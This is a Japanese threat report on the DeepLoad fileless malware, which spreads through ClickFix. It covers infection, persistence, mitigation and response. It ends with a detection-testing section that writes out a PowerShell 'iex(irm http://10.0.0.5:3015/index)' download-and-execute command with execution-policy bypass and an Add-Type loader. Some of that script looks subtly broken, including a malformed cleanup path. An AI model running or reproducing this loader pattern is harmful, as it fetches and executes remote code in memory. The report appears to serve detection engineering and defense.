DeepLoadマルウェア、ClickFix配信とAI生成回避策の組み合わせ

概要

DeepLoadはClickFixソーシャルエンジニアリングを通じて配布されるファイルレスのマルウェアファミリーです。難読化されたPowerShellローダー、信頼されたWindowsプロセスへのメモリ内シェルコード注入、静的検出の精度を低下させるためのAI生成の「ノイズ」を利用しています。ローダーはスケジュールされたタスクとWMIイベントのサブスクリプションを使用して持続性を確立し、USBメディアを介して拡散し、不正なブラウザ拡張機能とコンパニオンfilemanager.exeコンポーネントを通じて資格情報を盗みます。

調査

この報告書は、被害者が実行したPowerShellコマンドから始まる初期アクセスと、mshta.exeを通じてローダーが取得される過程を説明しています。ローダーはAdd-Typeを使用して実行時に一時的なDLLを生成し、APCベースの注入を用いてLockAppHost.exeにシェルコードを注入します。持続性はスケジュールされたタスクと、削除後にも感染を再確立できる隠されたWMIイベントサブスクリプションを通じて維持され、約3日の遅延ウィンドウがあることが確認されています。資格情報の盗難は、filemanager.exeと並行して動作する悪意のあるブラウザ拡張機能によるものとされます。

緩和策

有効化する PowerShellスクリプトブロックのロギング と、疑わしいPowerShell実行チェーンにアラートを設定します。mshta.exeのアウトバウンドネットワーク活動を監査し、予期しないスケジュールタスク作成を監視し、APC注入を示唆する異常なQueueUserAPCの使用を検出します。リメディエーションの際には、ファイル/レジストリのクリーンアップに頼らず、WMIイベントサブスクリプションを明示的に列挙して削除してください。露出した資格情報をローテーションし、資格情報収集経路を断ち切るために不正なブラウザ拡張機能を削除します。

対応

DeepLoad活動が検出された場合、ホストを隔離し、悪意のあるPowerShell活動を停止し、注入されたプロセスを終了します。スケジュールされたタスクを削除し、関連するWMIサブスクリプションを削除し、filemanager.exeと悪意のあるブラウザ拡張機能を除去します。潜在的に危険にさらされたすべての資格情報をローテーションし、接続されたUSBメディアを消毒し、システムに残留した注入アーティファクトがないことを検証してからサービスに戻します。

キーワード: DeepLoad, ClickFix, ファイルレスマルウェア, PowerShellローダー, mshta.exe, Add-Type, メモリ内シェルコード, APC注入, QueueUserAPC, LockAppHost.exe, スケジュールされたタスクの持続性, WMIイベントサブスクリプション, USB拡散, 不正ブラウザ拡張機能, 資格情報の盗難。

シミュレーション実行

前提条件: テレメトリ＆ベースライン事前フライトチェックが合格している必要があります。

根拠: このセクションは、検出ルールをトリガーするために設計された敵の技術（TTP）の正確な実行を詳細に説明します。コマンドと記述は、識別されたTTPを直接反映し、検出ロジックが予期する正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診につながる可能性があります。

• 攻撃シナリオとコマンド:

  1. 初期の足場: 攻撃者は被害者ホスト上で低特権のPowerShellセッションを持っています。
  2. 実行ポリシーをバイパス: 彼らはPowerShellを -ep Bypass で呼び出し、スクリプト実行の制限を無視します。
  3. .NETペイロードのコンパイル: 使用 Add-Typeで、インスタンス化されたときにC2サーバーに対してウェブリクエストを行う小さなC#クラスを埋め込みます (http://10.0.0.5:3015/index).
  4. リモートスクリプトのダウンロードと実行: 攻撃者は irm (Invoke‑RestMethod) を iexにパイプして、メモリ内で悪意のあるスクリプトを実行します。
  5. 生成されたテレメトリ: OSによって記録されたコマンドラインには、必要な3つの文字列 (-ep Bypass, Add-Type, iex(irm http://…:3015/index)) が含まれており、Sigmaルールを満たしています。

• リグレッションテストスクリプト:

  # DeepLoad風の悪意のある実行
  # このスクリプトはSigmaルールをトリガーするために必要な正確なコマンドパターンを再現します。
  $c2 = "http://10.0.0.5:3015/index"
  $payload = @"
  using System;
  using System.Net;
  public class Loader {
  public static void Run() {
      new WebClient().DownloadString(""$c2"");
  }
  }
  "@
  # Bypassフラグを使用してPowerShellを呼び出し、ペイロードをコンパイルし、リモートスクリプトを実行します
  powershell -NoProfile -ExecutionPolicy Bypass -Command `
      "Add-Type -TypeDefinition `$payload; `
       iex (irm $c2)"

• クリーンアップコマンド:

  # 一時ファイルやロードされたアセンブリを削除します（保存されている場合）
  Remove-Item -Path "$env:TEMPloader.dll" -ErrorAction SilentlyContinue
  # オプションで、PowerShellトランスクリプトをクリアします（有効化されている場合）
  Clear-Host

報告書の終わり